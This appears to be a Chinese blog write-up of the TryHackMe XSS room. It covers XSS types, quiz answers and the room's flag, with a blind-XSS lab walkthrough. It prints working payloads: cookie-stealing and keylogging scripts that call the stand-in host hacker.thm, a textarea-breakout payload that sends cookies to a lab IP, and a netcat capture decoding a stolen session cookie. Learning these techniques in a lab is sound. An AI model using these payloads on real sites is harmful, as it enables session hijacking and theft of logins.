什么是XSS?

XSS 有效负载

概念验证:

这是最简单的有效负载,您要做的就是证明您可以在网站上实现 XSS。这通常是通过在页面上弹出一个带有一串文本的警报框来完成的,例如:

<script>alert('XSS');</script>

会话窃取:

用户会话的详细信息(如登录令牌)通常保存在目标计算机上的 Cookie 中。下面的 JavaScript 获取目标的 cookie,base64 对 cookie 进行编码以确保传输成功,然后将其发布到黑客控制下的网站进行记录。一旦黑客拥有这些 cookie,他们就可以接管目标的会话并被记录为该用户。

<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>

按键记录器:

下面的代码充当键盘记录器。这意味着您在网页上键入的任何内容都将被转发到受黑客控制的网站。如果安装有效负载的网站接受用户登录或信用卡详细信息,这可能会非常具有破坏性。

<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>

业务逻辑:

此有效负载比上述示例要具体得多。这将是关于调用特定的网络资源或 JavaScript 函数。例如,假设有一个用于更改用户电子邮件地址的 JavaScript 函数,名为 user.changeEmail()。您的有效负载可能如下所示:

<script>user.changeEmail('attacker@hacker.thm');</script>

哪个 document 属性可以包含用户的会话令牌?

document.cookie

哪种 JavaScript 方法经常用作概念验证?

alert

反射型 XSS

潜在影响:

攻击者 可以发送链接或将其嵌入到另一个网站的 iframe 中 包含 JavaScript 有效负载,以便潜在受害者将其引导至 在浏览器上执行代码,可能会泄露会话或客户 信息。

如何测试反射型 XSS:

您需要测试每个可能的入口点;这些包括:

  • URL 查询字符串中的参数
  • URL 文件路径
  • 有时是 HTTP 标头(尽管在实践中不太可能被利用)

URL 中的哪个位置是测试反射型 XSS 的好地方?

parameters

存储型 XSS

潜在影响:

这 恶意 JavaScript 可以将用户重定向到另一个站点,窃取 用户的会话 Cookie,或在充当 访问用户。

如何测试存储的 XSS:

您需要测试每个可能的入口点,其中似乎存储了数据,然后在其他用户可以访问的区域显示回来;其中的一个小例子可能是:

  • 博客上的评论
  • 用户配置文件信息
  • 网站列表

有时,开发人员认为限制客户端上的输入值就足够好了,因此将值更改为 Web 应用程序不期望的值是发现存储的 XSS 的良好来源,例如,需要下拉菜单中整数的 age 字段,但相反,您需要手动发送请求,而不是使用允许您尝试恶意负载的表单。

存储的 XSS 有效负载通常如何存储在网站上?

database

基于 DOM 的 XSS

什么是 DOM?

DOM 代表 Document Object Model,是 HTML 和 XML 文档的编程接口。它表示页面,以便程序可以更改文档结构、样式和内容。网页是一个文档,此文档可以显示在浏览器窗口中,也可以作为 HTML 源显示。HTML DOM 的图表如下所示:

利用 DOM

DOM 基于 XSS 是直接在浏览器中执行 JavaScript 的地方,无需加载任何新页面或将数据提交到后端代码。当网站 JavaScript 代码作用于输入或 用户交互。

示例场景:
网站的 JavaScript 从 window.location.hash 获取内容 参数,然后将其写入当前 viewed 部分。不会检查哈希的内容是否存在恶意 代码,允许攻击者将他们选择的 JavaScript 注入到 网页。

潜在影响:
精心设计的链接 可能会发送给潜在的受害者,将他们重定向到另一个网站 或者从页面或用户的会话中窃取内容。

在源代码中寻找什么不安全的 JavaScript 方法很好?

eval()

盲 XSS

您可以使用什么工具来测试 Blind XSS?

XSS Hunter Express

什么类型的 XSS 与 Blind XSS 非常相似?

Stored XSS //存储型

完善您的有效载荷

https://tryhackme.com/room/xss

你从第六关收到的旗帜是什么?

THM{XSS_MASTER}

实例 (Blind XSS)

</textarea><script>fetch('http://10.10.247.27:9001?cookie=' + btoa(document.cookie) );</script>

让我们分解一下有效负载:

  • </textarea> 标签关闭文本区域字段。
  • <script> 标签为我们打开了一个编写 JavaScript 的区域。
  • fetch() 命令发出 HTTP 请求。
  • URL_OR_IP 是 THM 请求捕获器 URL、THM AttackBox 中的 IP 地址或您在 THMVPN 上的 IP 地址 网络。
  • PORT_NUMBER 是您用来侦听 AttackBox 上的连接的端口号。
  • ?cookie= 是包含受害者 Cookie 的查询字符串。
  • btoa() 命令 base64 对受害者的 cookie 进行编码。
  • document.cookie 访问 Acme IT 支持网站的受害者 Cookie。
  • </script>关闭 JavaScript 代码块。
root@ip-10-10-247-27:~# nc -nlvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.4.21 58584
GET /?cookie=c3RhZmYtc2Vzc2lvbj00QUIzMDVFNTU5NTUxOTc2OTNGMDFENkY4RkQyRDMyMQ== HTTP/1.1
Host: 10.10.247.27:9001
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/89.0.4389.72 Safari/537.36
Accept: */*
Origin: http://172.17.0.1
Referer: http://172.17.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: en-US

root@ip-10-10-247-27:~# echo c3RhZmYtc2Vzc2lvbj00QUIzMDVFNTU5NTUxOTc2OTNGMDFENkY4RkQyRDMyMQ== | base64 -d
staff-session=4AB305E55955197693F01D6F8FD2D321
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值